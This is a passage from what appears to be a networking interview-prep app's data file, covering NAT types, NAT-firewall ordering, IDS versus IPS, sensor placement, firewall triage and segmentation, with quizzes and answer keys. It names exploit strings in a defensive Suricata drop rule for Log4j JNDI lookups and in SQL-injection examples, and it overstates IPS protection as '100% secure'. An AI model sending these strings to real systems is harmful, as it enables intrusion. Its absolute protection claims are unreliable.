Mapped`,activeNodes:[`nat-pat`],packetInfo:{srcIp:`203.0.113.1`,dstIp:`93.184.216.34`,srcPort:61001,dstPort:443,protocol:`TCP`},decision:`TRANSLATE`,whatIsHappening:`Host 1 → 203.0.113.1:61001; Host 2 → 203.0.113.1:61002; Host 3 → 203.0.113.1:61003.`,interviewTakeaway:`Layer 4 port numbers distinguish sessions belonging to different internal hosts.`},{id:12,label:`PAT: Multiplexed Packets Forwarded to Internet Destination`,badge:`PAT Complete ✓`,activeNodes:[`nat-pat`],packetInfo:{srcIp:`203.0.113.1`,dstIp:`93.184.216.34`,srcPort:61001,dstPort:443,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`All 3 packets transit out onto the Internet sharing one IP. PAT complete!`,interviewTakeaway:`PAT powers 99% of home and enterprise egress gateways worldwide.`},{id:13,label:`DNAT: External Client Sends Inbound Request (203.0.113.50:80)`,badge:`Inbound DNAT`,activeNodes:[`nat-dnat`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`203.0.113.50`,srcPort:49200,dstPort:80,protocol:`TCP`},whatIsHappening:`External Internet client connects to public IP 203.0.113.50 on port 80.`,interviewTakeaway:`Destination NAT (DNAT / Port Forwarding) handles inbound traffic to internal servers.`},{id:14,label:`DNAT: Inbound Packet Transits to Gateway`,badge:`Dest Rewrite Check`,activeNodes:[`nat-dnat`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`203.0.113.50`,srcPort:49200,dstPort:80,protocol:`TCP`},decision:`INSPECT`,whatIsHappening:`Packet reaches gateway ingress where port forwarding rules are evaluated.`,interviewTakeaway:`DNAT occurs in PREROUTING before the routing decision.`},{id:15,label:`DNAT: Destination Rewritten to Internal Web Server (10.0.2.80:8080)`,badge:`Rewritten to Private`,activeNodes:[`nat-dnat`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`10.0.2.80`,srcPort:49200,dstPort:8080,protocol:`TCP`},decision:`TRANSLATE`,whatIsHappening:`Gateway rewrites Destination IP:Port to private server 10.0.2.80:8080.`,interviewTakeaway:`External clients access internal services without knowing internal IP architecture.`},{id:16,label:`DNAT: Delivered to Internal Server — Complete 4-Flavor Comparison`,badge:`All 4 NAT Types Complete ✓`,activeNodes:[`nat-dnat`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`10.0.2.80`,srcPort:49200,dstPort:8080,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Internal server receives the forwarded packet. Full 4-type comparison complete!`,interviewTakeaway:`Summary: Static (1:1), Dynamic (Pool), PAT (Ports Overload), DNAT (Port Forwarding).`}]},{id:13,categoryId:`nat`,category:`NAT (Network Address Translation)`,title:`How does NAT interact with firewall rules when a packet passes through a firewall?`,subtitle:`Master the order of operations: Pre-routing NAT vs Security ACLs vs Post-routing NAT.`,visualType:`nat-firewall-order`,elevatorPitch:`The order of operations between NAT and firewall inspection depends on packet direction and vendor architecture. For inbound DNAT traffic, Destination NAT translation typically occurs BEFORE firewall policy evaluation (or firewall policies must match the pre-NAT or post-NAT IP depending on the vendor, e.g., Cisco ASA uses post-NAT real IP, while Palo Alto / Check Point uses pre-NAT destination IP with post-NAT zone). For outbound SNAT, firewall policy is evaluated first on the real source IP, and Source NAT occurs in POSTROUTING before packet egress.`,deepDive:["**Linux Netfilter / iptables Order:** `PREROUTING (DNAT)` -> `FORWARD (Firewall Filter)` -> `POSTROUTING (SNAT)`.",`**Inbound Traffic Flow:** 1) Ingress interface receives packet, 2) DNAT translates destination IP to internal real IP, 3) Security policy checks whether source is permitted to access internal destination real IP, 4) Egress to internal zone.`,`**Outbound Traffic Flow:** 1) Ingress from internal host, 2) Security policy checks if internal host is allowed outbound, 3) Routing determines egress interface, 4) SNAT/PAT rewrites source IP to public IP.`,`**Vendor Nuance (Crucial Interview Point):** In Palo Alto Networks, security policies reference the **Original (Pre-NAT) Destination IP** with the **Destination Zone of the Translated (Post-NAT) IP**. In Cisco ASA (version 8.3+), access-lists reference the **Real Internal IP**.`],realWorldScenario:`An administrator configured DNAT forwarding port 443 to internal server 10.0.1.50, but the firewall blocked traffic because their ACL permitted traffic to the public IP instead of matching the firewall engine’s required post-NAT real IP.`,commonTrap:`Interviewers love asking: "Does the firewall rule match the Public IP or the Private IP?" Always clarify vendor context (Palo Alto vs Cisco ASA vs iptables).`,cliSnippets:[{label:`iptables Order of Operations Hook Flow`,code:`Ingress Packet
  ↓
[PREROUTING: DNAT]
  ↓
[FORWARD: Security Filter Rules]
  ↓
[POSTROUTING: SNAT / MASQUERADE]
  ↓
Egress Packet`}],keyTakeaways:[`Linux/Netfilter: DNAT happens in PREROUTING; SNAT happens in POSTROUTING.`,`Firewall filtering occurs in FORWARD between pre-routing and post-routing.`,`Always verify whether the firewall vendor requires pre-NAT or post-NAT IP in security rules.`],quiz:{question:`In Linux Netfilter (iptables), when does Source NAT (SNAT/MASQUERADE) occur for an outbound packet?`,options:[`In the PREROUTING chain before routing and firewall filtering.`,`In the FORWARD chain alongside ACL rules.`,`In the POSTROUTING chain after routing decisions and firewall filter permit.`,`Directly in the network interface card driver.`],correctIndex:2,explanation:`SNAT modifies the source IP address in the POSTROUTING chain, just before the packet leaves the firewall onto the physical wire, after security policy filtering has already permitted the flow.`},steps:[{id:1,label:`1. Outbound: Client Creates Packet (192.168.1.10)`,badge:`Outbound Step 1`,activeNodes:[`client`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`203.0.113.50`,srcPort:49152,dstPort:80,protocol:`TCP`},whatIsHappening:`Internal host 192.168.1.10 prepares an outbound HTTP request destined for public web server 203.0.113.50.`,interviewTakeaway:`The packet originates with its private RFC 1918 inside local source IP.`},{id:2,label:`2. Outbound: Firewall ACL Checks Original Private IP`,badge:`Outbound Step 2`,activeNodes:[`firewall`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`203.0.113.50`,srcPort:49152,dstPort:80,protocol:`TCP`},decision:`ALLOW`,ruleMatched:`Rule: ALLOW Inside_LAN (192.168.1.0/24) -> Internet (Port 80)`,whatIsHappening:`Firewall evaluates outbound security policy on the original private IP address before any NAT occurs.`,interviewTakeaway:`For outbound traffic, firewall security rules inspect the original un-NATted private IP address.`},{id:3,label:`3. Outbound: Post-Routing NAT Rewrites Source IP`,badge:`Outbound Step 3`,activeNodes:[`firewall`],packetInfo:{srcIp:`203.0.113.10`,dstIp:`203.0.113.50`,srcPort:52100,dstPort:80,protocol:`TCP`},decision:`TRANSLATE`,whatIsHappening:`Post-routing NAT translates source IP 192.168.1.10 to public interface IP 203.0.113.10:52100.`,interviewTakeaway:`Source NAT (SNAT/PAT) occurs after routing and security checks as the packet leaves the egress interface.`},{id:4,label:`4. Outbound: Packet Egresses to Internet`,badge:`Outbound Step 4`,activeNodes:[`server`],packetInfo:{srcIp:`203.0.113.10`,dstIp:`203.0.113.50`,srcPort:52100,dstPort:80,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Translated packet transits the WAN link and reaches remote web server. Outbound flow complete!`,interviewTakeaway:`Summary of Outbound: Ingress -> Route -> Firewall ACL (Private IP) -> SNAT -> Egress WAN.`},{id:5,label:`5. Inbound DNAT: Public Request Hits Firewall (203.0.113.10:443)`,badge:`Inbound Step 1`,activeNodes:[`server`],packetInfo:{srcIp:`198.51.100.4`,dstIp:`203.0.113.10`,dstPort:443,protocol:`TCP`},whatIsHappening:`External client 198.51.100.4 sends HTTPS request targeting public VIP 203.0.113.10 on port 443.`,interviewTakeaway:`Incoming packet arrives at external ingress interface carrying public destination IP.`},{id:6,label:`6. Inbound DNAT: Pre-Routing Rewrites Destination to 10.0.2.50`,badge:`Inbound Step 2`,activeNodes:[`firewall`],packetInfo:{srcIp:`198.51.100.4`,dstIp:`10.0.2.50`,dstPort:443,protocol:`TCP`},decision:`TRANSLATE`,whatIsHappening:`Pre-routing DNAT translates destination IP from public 203.0.113.10 to internal server 10.0.2.50.`,interviewTakeaway:`Destination translation occurs in PREROUTING before the security filter forwarding engine.`},{id:7,label:`7. Inbound DNAT: Firewall Policy Evaluates Translated IP`,badge:`Inbound Step 3`,activeNodes:[`firewall`],packetInfo:{srcIp:`198.51.100.4`,dstIp:`10.0.2.50`,dstPort:443,protocol:`TCP`},decision:`ALLOW`,ruleMatched:`Rule: ALLOW Untrust -> DMZ_Host (10.0.2.50:443)`,whatIsHappening:`Firewall security policy checks if external traffic is allowed to access internal DMZ server 10.0.2.50:443.`,interviewTakeaway:`In Cisco ASA & iptables, security rules evaluate the translated real internal IP address.`},{id:8,label:`8. Inbound DNAT: Packet Delivered to Internal DMZ Web Server`,badge:`Inbound Step 4`,activeNodes:[`client`],packetInfo:{srcIp:`198.51.100.4`,dstIp:`10.0.2.50`,dstPort:443,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Packet traverses DMZ interface and delivers to internal server 10.0.2.50. Full bidirectional lifecycle verified!`,interviewTakeaway:`Summary of Inbound DNAT: Ingress -> Pre-Routing DNAT -> Route -> Firewall ACL (Real IP) -> Egress DMZ.`}]},{id:14,categoryId:`threats-attacks`,category:`DDoS & IDS/IPS`,title:`What is the difference between IDS and IPS?`,subtitle:`Compare passive detection & out-of-band alerts vs active inline blocking and TCP resets.`,visualType:`ids-vs-ips`,elevatorPitch:`An IDS (Intrusion Detection System) is a passive, out-of-band monitoring system that inspects a copy of network traffic (via SPAN/TAP ports) and generates alerts when malicious patterns are detected without affecting live traffic flow. An IPS (Intrusion Prevention System) is deployed active and inline ("bump in the wire"), meaning all live traffic flows directly through it, enabling it to actively drop malicious packets, reset TCP sessions, and block attackers in real time.`,deepDive:[`**Deployment Mode:** IDS is Out-of-Band (Passive, TAP/Mirror); IPS is In-Line (Active, inline bridge/routed).`,"**Action on Detection:** IDS alerts SIEM/SOC; IPS drops packets (`DROP`), sends TCP RST flags to tear down sessions, or triggers dynamic firewall IP bans.",`**Failure Mode Risk:** If an IDS crashes, traffic continues uninterrupted (fail-open). If an inline IPS fails, network traffic can be interrupted unless hardware bypass switches (fail-open bypass) are installed.`,`**False Positive Impact:** A false positive on an IDS creates a nuisance alert for analysts. A false positive on an IPS drops legitimate business transactions (e.g., blocking payroll or customer checkouts).`,`**Detection Engines:** Both use Signature-based detection (known CVE patterns), Anomaly-based detection (statistical baselines), and Protocol Analysis (RFC violation detection).`],realWorldScenario:`An attacker launched an Apache Log4j exploit payload. An IDS recorded the event and alerted the SOC 2 minutes later after the server was compromised. An inline IPS inspected the TCP stream in real-time, matched the JNDI lookup signature, and dropped the packet before it touched the web server.`,commonTrap:`Highlight the latency consideration: because an IPS is inline, Deep Packet Inspection adds microsecond latency to all network transactions, requiring dedicated hardware acceleration (ASICs / FPGAs).`,cliSnippets:[{label:`Suricata / Snort IPS Rule (Drop Exploit)`,code:'drop tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT Log4j JNDI RCE Attempt"; content:"${jndi:"; nocase; sid:2000001; rev:1;)'}],keyTakeaways:[`IDS is passive/out-of-band: Detects & Alerts; cannot block.`,`IPS is active/inline: Detects & Blocks in real time (drops packets/resets sessions).`,`IPS introduces inline latency and risk of false-positive drops.`,`Both use signature, anomaly, and behavioral heuristics.`],quiz:{question:`What happens if a passive IDS detects a severe remote code execution exploit in real time?`,options:[`It immediately drops the packet and terminates the TCP connection.`,`It logs the event and sends an alert to the SIEM/SOC, but cannot prevent the packet from reaching the victim.`,`It powers off the switch interface.`,`It re-encrypts the packet.`],correctIndex:1,explanation:`Because an IDS sits out-of-band inspecting a mirrored SPAN/TAP stream, the original packet has already traversed the network to the destination. The IDS can only generate alerts or send asynchronous TCP RST packets after the fact.`},steps:[{id:1,label:`1. IDS: Exploit Enters Core Switch`,badge:`IDS Step 1`,activeNodes:[`client`,`switch`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`10.0.1.10`,dstPort:80,protocol:`TCP`,payloadSummary:`SQLi Exploit: SELECT * FROM users--`},whatIsHappening:`An external attacker transmits an HTTP packet containing a malicious SQL Injection exploit payload toward the database web server.`,interviewTakeaway:`The network switch receives the packet on its external port.`},{id:2,label:`2. IDS: Switch SPAN Port Mirrors Packet`,badge:`IDS Step 2`,activeNodes:[`switch`,`ids`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`10.0.1.10`,dstPort:80,protocol:`TCP`},whatIsHappening:`The switch duplicates the packet via a SPAN / TAP mirror port and sends an out-of-band copy to the passive IDS sensor.`,interviewTakeaway:`IDS operates out-of-band, meaning original live traffic is never delayed by deep inspection processing.`},{id:3,label:`3. IDS: Threat Detected & SIEM Alert Logged`,badge:`IDS Step 3`,activeNodes:[`ids`],decision:`ALERT`,ruleMatched:`IDS Signature: SQL-Injection-Pattern-A`,whatIsHappening:`The IDS signature engine detects the SQL injection pattern in the mirrored copy and triggers a Critical Security Alert to the SOC SIEM.`,interviewTakeaway:`IDS provides detection and alerting visibility across network boundaries.`},{id:4,label:`4. IDS: Original Malicious Packet Hits Server`,badge:`IDS Step 4`,activeNodes:[`switch`,`server`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`10.0.1.10`,dstPort:80,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Because the IDS is out-of-band and cannot block, the original malicious packet continues along its network path and strikes the web server! (Server Compromised)`,interviewTakeaway:`Passive IDS cannot prevent attacks in real time; it is strictly a detection and forensic audit tool.`},{id:5,label:`5. IPS: Inline Hardware Deployment`,badge:`IPS Step 1`,activeNodes:[`client`,`ips`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`10.0.1.10`,dstPort:80,protocol:`TCP`,payloadSummary:`SQLi Exploit: SELECT * FROM users--`},whatIsHappening:`Now deploy an inline Intrusion Prevention System (IPS). The IPS sits directly in the physical traffic path between switch and servers.`,interviewTakeaway:`All production traffic must physically traverse the IPS hardware inspection engine.`},{id:6,label:`6. IPS: Ingress Deep Packet Inspection`,badge:`IPS Step 2`,activeNodes:[`ips`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`10.0.1.10`,dstPort:80,protocol:`TCP`},decision:`INSPECT`,whatIsHappening:`The attacker sends the same SQL injection payload. The packet enters the IPS ingress interface and is inspected by the protocol & signature ASIC.`,interviewTakeaway:`Inline DPI inspects headers and application payload before forwarding frames.`},{id:7,label:`7. IPS: Threat Detected & Packet DROPPED`,badge:`IPS Step 3`,activeNodes:[`ips`],decision:`DROP`,ruleMatched:`IPS Policy Action: DROP & RESET`,whatIsHappening:`The IPS identifies the CVE signature in real-time and immediately DROPS the packet, terminating the frame on the spot.`,interviewTakeaway:`Active inline blocking stops attacks before payloads touch server memory.`},{id:8,label:`8. IPS: TCP Reset Sent & Server Protected`,badge:`IPS Step 4`,activeNodes:[`ips`,`server`],decision:`DROP`,whatIsHappening:`The IPS transmits a TCP RST flag to tear down the attacker session. The malicious packet NEVER reaches the server. Target server remains 100% secure!`,interviewTakeaway:`IPS provides active, real-time protection against zero-days and known vulnerabilities.`}]},{id:15,categoryId:`threats-attacks`,category:`DDoS & IDS/IPS`,title:`Where would you place an IDS/IPS in a network, and how does it inspect traffic?`,subtitle:`Analyze sensor placement at Perimeter, DMZ, Core Backbone, and Host endpoints.`,visualType:`ids-placement`,elevatorPitch:`Strategic IDS/IPS placement balances visibility, performance, and threat mitigation. Common locations include: 1) Behind the perimeter firewall (inspecting filtered traffic to catch external exploits that passed firewall ACLs), 2) Inside the DMZ (protecting public-facing web/app servers), 3) At the Core / Distribution layer (detecting lateral movement and insider threats between internal VLANs), and 4) On individual endpoints as Host-based IPS (HIPS/EDR).`,deepDive:[`**Behind Perimeter Firewall (Most Common):** Placing the IPS behind the firewall avoids wasting IPS CPU cycles on volumetric internet noise already dropped by firewall ACLs.`,`**In Front of Firewall (Pre-Firewall):** Used rarely to capture raw internet attack reconnaissance before firewall filtering.`,`**DMZ Sensor:** Monitors ingress traffic to web/email servers and detects server compromise before lateral expansion into the corporate LAN.`,`**Internal Core / East-West Sensor:** Monitors traffic between internal subnets. Essential for detecting ransomware propagation and privileged escalation.`,`**Inspection Techniques:** 1) Pattern Matching / Signatures (Snort/Suricata rules), 2) Protocol Anomaly Detection (RFC compliance), 3) Heuristic / Machine Learning anomaly baselines.`],realWorldScenario:`An advanced persistent threat (APT) compromised a workstation via phishing and attempted lateral SMB movement to the finance VLAN. An internal IPS sensor on the core distribution switch detected the PsExec lateral movement signature and blocked the infection.`,commonTrap:`Explain that placing an IPS outside the firewall causes sensor saturation due to millions of internet port scans and DDoS packets. Place it inside the firewall so it inspects clean, pre-filtered traffic.`,cliSnippets:[{label:`Cisco SPAN Port Configuration (for IDS)`,code:`monitor session 1 source interface GigabitEthernet0/1 - 4 both
monitor session 1 destination interface GigabitEthernet0/24`}],keyTakeaways:[`Behind perimeter firewall: Inspects pre-filtered inbound/outbound traffic.`,`Inside DMZ: Protects public services and monitors server health.`,`Internal Core: Detects East-West lateral movement and insider attacks.`,`Network TAP / SPAN ports provide traffic copies for passive IDS.`],quiz:{question:`Why is an IPS typically placed behind the perimeter firewall rather than directly on the raw Internet edge?`,options:[`Because IPS devices cannot handle fiber-optic cables.`,`To prevent the IPS from being overwhelmed by volumetric noise and port scans already dropped by firewall ACLs.`,`Because firewalls cannot route packets if placed behind an IPS.`,`To allow the IPS to run in stateless mode.`],correctIndex:1,explanation:`Firewalls drop high volumes of random internet garbage efficiently at wire speed. Placing the IPS behind the firewall allows the IPS to focus its deep inspection CPU resources on legitimate candidate traffic.`},steps:[{id:1,label:`1. Architecture Baseline: 4 Core Inspection Zones Established`,badge:`Placement 1: Topology`,activeNodes:[`place-perimeter`,`place-dmz`,`place-core`],packetInfo:{srcIp:`WAN`,dstIp:`10.0.3.50`,dstPort:443,protocol:`TCP`},whatIsHappening:`Network establishes 4 sensor vantage points: Perimeter Edge, Behind Firewall, DMZ Buffer, and Core Internal Switch.`,interviewTakeaway:`Sensor placement determines detection visibility, processing capacity, and false-positive overhead.`},{id:2,label:`2. Normal Clean Traffic Flows Behind Perimeter Firewall`,badge:`Placement 2: Clean Traffic`,activeNodes:[`place-perimeter`],packetInfo:{srcIp:`198.51.100.15`,dstIp:`10.0.3.50`,dstPort:443,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Legitimate HTTPS user traffic passes perimeter firewall and traverses the inline IPS sensor with zero latency overhead.`,interviewTakeaway:`Placing IPS behind the firewall avoids wasting sensor CPU cycles on internet port scans dropped by firewall ACLs.`},{id:3,label:`3. Threat Ingress: External Attacker Transmits Malicious Payload`,badge:`Placement 3: Exploit Ingress`,activeNodes:[`place-perimeter`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`10.0.3.50`,dstPort:443,protocol:`TCP`,payloadSummary:`CVE-2021-44228 Log4j JNDI RCE Exploit`},whatIsHappening:`An external attacker transmits a malicious exploit payload (e.g. Log4j RCE) over open port 443 targeting internal servers.`,interviewTakeaway:`Because port 443 is permitted in firewall ACLs, traditional firewalls blindly allow the malicious packet through.`},{id:4,label:`4. Exploit Passes Firewall & Reaches Inline IPS Sensor`,badge:`Placement 4: Sensor Ingress`,activeNodes:[`place-perimeter`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`10.0.3.50`,dstPort:443,protocol:`TCP`,payloadSummary:`CVE-2021-44228 Log4j JNDI RCE Exploit`},decision:`INSPECT`,whatIsHappening:`The exploit packet enters the inline IPS sensor positioned directly behind the firewall for Deep Packet Inspection (DPI).`,interviewTakeaway:`The inline IPS performs protocol decoding, regex stream reassembly, and vulnerability signature matching.`},{id:5,label:`5. IPS Signature Match: Real-Time Stream Threat Identified`,badge:`Placement 5: Signature Match`,activeNodes:[`place-perimeter`],decision:`INSPECT`,ruleMatched:`IPS Signature SID: 2034324 (EXPLOIT Apache Log4j RCE)`,whatIsHappening:`The IPS signature engine detects known exploit byte sequences in the TCP stream and triggers an immediate blocking action.`,interviewTakeaway:`Inline deployment allows the sensor to intervene and terminate the TCP stream in real-time before delivery.`},{id:6,label:`6. Action Executed: Packet DROPPED & Attacker TCP Reset`,badge:`Placement 6: BLOCKED ✕`,activeNodes:[`place-perimeter`],decision:`DROP`,ruleMatched:`IPS Action: INLINE DROP + TCP RST`,whatIsHappening:`The IPS immediately drops the malicious frame and transmits TCP RST packets to tear down the attacker session.`,interviewTakeaway:`Target internal server receives zero exploit bytes and remains completely protected.`},{id:7,label:`7. East-West & DMZ Placement Strategy Summary`,badge:`Placement 7: Defense-in-Depth`,activeNodes:[`place-dmz`,`place-core`],decision:`ALLOW`,whatIsHappening:`Full placement architecture verified: Perimeter (North-South), DMZ (Public Web), and Core Switch SPAN (East-West Lateral Movement).`,interviewTakeaway:`Combining perimeter inline IPS with internal TAP/SPAN sensors provides holistic Defense-in-Depth.`}]},{id:16,categoryId:`troubleshooting`,category:`Triage & Diagnostics`,title:`How would you investigate traffic that is being blocked by an IPS or firewall?`,subtitle:`Master the 5-step systematic troubleshooting and security triage methodology.`,visualType:`troubleshooting-flow`,elevatorPitch:"I follow a structured 5-step triage process: 1) Verify the symptoms and collect connection details (5-tuple: Src/Dst IP, Port, Protocol, Timestamp), 2) Query firewall/IPS logs for drop/reset events and signature IDs, 3) Perform packet captures (tcpdump / Wireshark) at ingress and egress interfaces, 4) Use vendor diagnostic tools (e.g., Cisco `packet-tracer` or Palo Alto `test security-policy-match`), and 5) Determine root cause (misconfigured rule, routing asymmetry, expired certificate, or genuine malicious activity).",deepDive:["**Step 1 - Log Analysis:** Inspect Syslog / SIEM. Look for `DENY`, `TEARDOWN`, `TCP-RST`, or specific IPS Signature Rule IDs (e.g., Snort SID / CVE reference).","**Step 2 - Packet Capture (PCAP):** Run `tcpdump -nn -i any host 10.0.1.50 and port 443`. Check if TCP SYN arrives on ingress but no SYN leaves egress (confirms firewall drop).",`**Step 3 - Session & State Table Verification:** Check connection tracking tables for state timeouts, TCP window errors, or asymmetric routing drops (e.g., SYN on Interface A, ACK on Interface B).`,"**Step 4 - Rule Simulation Tools:** Run CLI simulation tools like Cisco `packet-tracer` to simulate the exact packet through the policy pipeline.",`**Step 5 - Remediation / Tuning:** If legitimate traffic is blocked by false positive IPS signature, tune the signature or add an exception. If blocked by ACL, correct rule order or add permit statement.`],realWorldScenario:"A software deployment to production failed. Firewall logs showed drops on port 8443 with message `TCP SYN timeout`. Investigation revealed asymmetric routing: outbound packets went via Firewall A, but return packets returned via Firewall B, which dropped them because it had no state table entry.",commonTrap:`Never immediately disable firewall rules or IPS signatures without capturing proof! Mention capturing PCAPs and validating signature false-positives before requesting change control modifications.`,cliSnippets:[{label:`tcpdump Command for Live Drop Triage`,code:`tcpdump -nn -v -i any "src host 10.0.1.25 and dst port 443"`},{label:`Palo Alto CLI Security Policy Test`,code:`test security-policy-match source 10.0.1.25 destination 192.168.10.5 protocol 6 destination-port 443`}],keyTakeaways:[`Collect 5-tuple: Source IP/Port, Dest IP/Port, Protocol, Timestamp.`,`Query firewall logs and SIEM for drop counters and signature SIDs.`,`Use packet captures (PCAPs) to verify ingress vs egress drop points.`,`Check for asymmetric routing and state table anomalies.`],quiz:{question:`Why does asymmetric routing cause stateful firewalls to drop legitimate return network traffic?`,options:[`Because asymmetric routing inverts IP addresses into MAC addresses.`,`Because the return firewall never saw the initial TCP SYN packet, so it has no state table entry and drops the SYN-ACK as invalid.`,`Because routers disable TCP checksums on asymmetric links.`,`Because DNS lookups fail on asymmetric paths.`],correctIndex:1,explanation:`In asymmetric routing, outbound packets leave via Firewall 1 (creating a state entry), but return packets return via Firewall 2. Because Firewall 2 has no record of the initial SYN, it treats the unexpected SYN-ACK/ACK as out-of-state and drops it.`},steps:[{id:1,label:`1. Incident Reported: Connection Failing (10.0.0.25 -> Server:22)`,badge:`Step 1: Symptom`,activeNodes:[`triage-client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,dstPort:22,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Operations team reports SSH administrative connection to production server is failing and timing out.`,interviewTakeaway:`Always gather precise 5-tuple (Src/Dst IP, Src/Dst Port, Protocol) and exact timestamps first.`},{id:2,label:`2. Firewall Drop: Traffic Intercepted and Blocked at Ingress`,badge:`Step 2: Drop Event`,activeNodes:[`triage-client`,`triage-server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,dstPort:22,protocol:`TCP`},decision:`DROP`,whatIsHappening:`Firewall receives SSH SYN packet on ingress interface and halts forwarding. Server receives zero packets.`,interviewTakeaway:`Dual-interface capture proves packet is dropped inside the security appliance, not on transit links.`},{id:3,label:`3. Syslog Event Generated: Real-Time Telemetry Logged`,badge:`Step 3: Syslog Stream`,activeNodes:[`triage-logs`],decision:`DROP`,ruleMatched:`Syslog: [14:22:01] ACTION=DENY SRC=10.0.0.25 DST=203.0.113.50 PROTO=TCP PORT=22 RULE_ID=104`,whatIsHappening:`Firewall syslog stream emits an event confirming active packet drop with complete 5-tuple metadata.`,interviewTakeaway:`Log telemetry provides immediate confirmation of whether drops are intentional policy drops or drops due to errors.`},{id:4,label:`4. Source IP Isolation: Validating Client Address (10.0.0.25)`,badge:`Step 4: Source IP`,activeNodes:[`triage-logs`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,dstPort:22,protocol:`TCP`},decision:`INSPECT`,whatIsHappening:"Engineer isolates Source IP `10.0.0.25` to verify if client workstation belongs to authorized management subnet.",interviewTakeaway:`Check if DHCP changes, VPN address reassignment, or subnet migration changed client source identity.`},{id:5,label:`5. Destination IP & Target Service Verification (203.0.113.50)`,badge:`Step 5: Target Host`,activeNodes:[`triage-logs`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,dstPort:22,protocol:`TCP`},decision:`INSPECT`,whatIsHappening:"Engineer verifies Destination IP `203.0.113.50` routing zone and DMZ security policies.",interviewTakeaway:`Verify that destination IP matches the intended production service and is not an outdated IP.`},{id:6,label:`6. Protocol & Port Identification: TCP Port 22 (SSH)`,badge:`Step 6: Port 22 SSH`,activeNodes:[`triage-logs`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,dstPort:22,protocol:`TCP`},decision:`INSPECT`,whatIsHappening:`Log confirms traffic is TCP port 22 (SSH). Security policy restricts management protocols to bastion jump-hosts.`,interviewTakeaway:`Security best practices mandate restricting management ports (SSH/RDP) to dedicated jump hosts.`},{id:7,label:`7. Policy Table Trace: Correlating Matched Rule #104`,badge:`Step 7: Rule Match`,activeNodes:[`triage-logs`],decision:`DROP`,ruleMatched:`Rule #104: DENY TCP ANY -> Server:22 (SSH Restriction)`,whatIsHappening:`Firewall rule inspection confirms Rule #104 explicitly blocks SSH from general user subnets.`,interviewTakeaway:`Trace exact rule index to distinguish between explicit ACL deny and default implicit deny.`},{id:8,label:`8. Root Cause Remediation & Diagnostic Resolution`,badge:`Step 8: Root Cause ✓`,activeNodes:[`triage-client`,`triage-server`],decision:`ALLOW`,ruleMatched:`Resolution: Route through Bastion Host or add Authorized Admin Exception`,whatIsHappening:`Triage complete! Client must connect via Bastion Jump-Host or administrator submits change ticket to permit IP.`,interviewTakeaway:`5-step troubleshooting lifecycle: Symptom -> Drop Confirmation -> Log 5-Tuple -> Rule Correlation -> Root Cause Fix.`}]},{id:17,categoryId:`zero-trust-access`,category:`Zero Trust & WAF`,title:`What is network segmentation, and why is it important for security?`,subtitle:`Explore multi-tier architecture, DMZs, VLAN isolation, and stopping lateral movement.`,visualType:`network-segmentation`,elevatorPitch:`Network segmentation is the practice of dividing a flat network into smaller, isolated subnets or security zones (e.g., DMZ, Corporate Users, Application Tier, Database Tier, PCI/Cardholder zone) separated by firewalls and access controls. It limits the blast radius of security breaches, prevents lateral attacker movement, reduces compliance scope (e.g., PCI-DSS, HIPAA), and enforces the Principle of Least Privilege.`,deepDive:[`**Blast Radius Containment:** In a flat network, compromising one user laptop allows the attacker to port-scan and compromise domain controllers and databases. In a segmented network, firewall rules prevent user VLANs from directly reaching database ports (e.g., 3306/1521).`,`**DMZ (Demilitarized Zone):** A buffer zone hosting public-facing services (Web, Reverse Proxy). Even if a web server is hacked, firewall rules prevent the DMZ from initiating inbound connections into the internal database zone.`,`**Micro-segmentation:** Modern software-defined networking (SDN / Zero Trust) enforces granular East-West firewall policies between individual workloads within the same VLAN.`,`**Compliance Isolation:** Isolating credit card processing systems into a dedicated PCI VLAN dramatically reduces the scope, complexity, and cost of PCI-DSS compliance audits.`],realWorldScenario:`In the infamous Target breach, attackers gained entry via HVAC vendor credentials on a flat network and moved laterally into point-of-sale (POS) systems. Proper network segmentation isolating the vendor network from the POS payment zone would have stopped the attack entirely.`,commonTrap:`Make sure to mention that VLANs alone are NOT security boundaries. A VLAN only separates broadcast domains; an attacker can hop VLANs if routing/firewall ACLs are not strictly enforced between them.`,cliSnippets:[{label:`Multi-Zone Firewall Policy Architecture`,code:`Zone UNTRUST (Internet) -> Zone DMZ (Web Proxy) : ALLOW 443
Zone DMZ (Web Proxy) -> Zone APP_TIER : ALLOW 8080
Zone APP_TIER -> Zone DB_TIER : ALLOW 5432 (Postgres)
